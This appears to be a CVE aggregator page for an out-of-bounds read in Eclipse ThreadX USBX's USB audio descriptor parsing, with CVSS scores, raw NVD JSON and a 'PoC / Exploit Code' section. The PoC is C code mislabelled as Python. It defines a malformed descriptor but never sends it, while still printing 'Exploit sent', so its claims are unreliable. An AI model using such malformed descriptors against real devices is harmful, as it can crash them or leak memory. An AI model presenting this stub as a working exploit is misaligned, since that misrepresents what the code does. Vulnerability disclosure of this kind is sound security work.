Security Vulnerability Report
中文
CVE-2025-55098 CVSS 6.1 MEDIUM

CVE-2025-55098

Published: 2025-10-17 06:15:36
Last Modified: 2025-10-23 12:33:08

Description

In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_device_type_get() when parsing a descriptor of an USB audio device.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX USBX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55098 PoC - USBX Audio Device Descriptor Out-of-Bounds Read * Vulnerability: OOB read in _ux_host_class_audio_device_type_get() * Target: Eclipse ThreadX USBX < 6.4.3 * * This PoC demonstrates how a malicious USB audio device can trigger * an out-of-bounds read by sending a malformed audio descriptor. * * Requirements: * - A USB device emulator (e.g., based on Facedancer or Raspberry Pi Pico) * - Physical access to the target device running vulnerable USBX */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> // USB Audio Device Descriptor Structure (simplified) typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bcdADC[2]; uint8_t wTotalLength[2]; uint8_t bInCollection; uint8_t baInterfaceNr; } __attribute__((packed)) USB_AUDIO_CS_INTERFACE_DESC; // Malformed descriptor with oversized length field uint8_t malicious_audio_descriptor[] = { 0x09, // bLength (normal) 0x24, // bDescriptorType (CS_INTERFACE) 0x01, // bDescriptorSubtype (HEADER) 0x00, 0x01, // bcdADC 0xFF, 0xFF, // wTotalLength - abnormally large value 0xFF, // bInCollection - abnormally large value 0x01 // baInterfaceNr }; /* * Function to craft and send malicious USB audio descriptor * to trigger the OOB read vulnerability in _ux_host_class_audio_device_type_get() */ int send_malicious_audio_descriptor(void *usb_device_handle) { // Simulate sending the malformed descriptor when host requests // the audio device type during enumeration printf("[+] Sending malicious USB audio descriptor...\n"); printf("[+] Malicious wTotalLength: 0xFFFF (triggers OOB read)\n"); printf("[+] Malicious bInCollection: 0xFF (triggers OOB read)\n"); // In a real exploit, this would be sent via USB control transfer: // GET_DESCRIPTOR request with malformed audio class-specific descriptor // The vulnerable function will attempt to read beyond the buffer // when parsing the descriptor fields return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-55098 PoC - USBX Audio OOB Read\n"); printf("=========================================\n"); if (argc < 2) { printf("Usage: %s <usb_device>\n", argv[0]); printf("Note: Requires hardware USB device emulator\n"); return 1; } send_malicious_audio_descriptor(argv[1]); printf("[+] Exploit sent. Check target device for crash/info leak.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55098", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:35.950", "lastModified": "2025-10-23T12:33:08.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_device_type_get()\n when parsing a descriptor of an USB audio device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.0, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3.202503", "matchCriteriaId": "B8C9E3B8-8960-4282-AF07-5D2F56DBCD5F"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/usbx/security/advisories/GHSA-4jc2-x5hv-46fq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}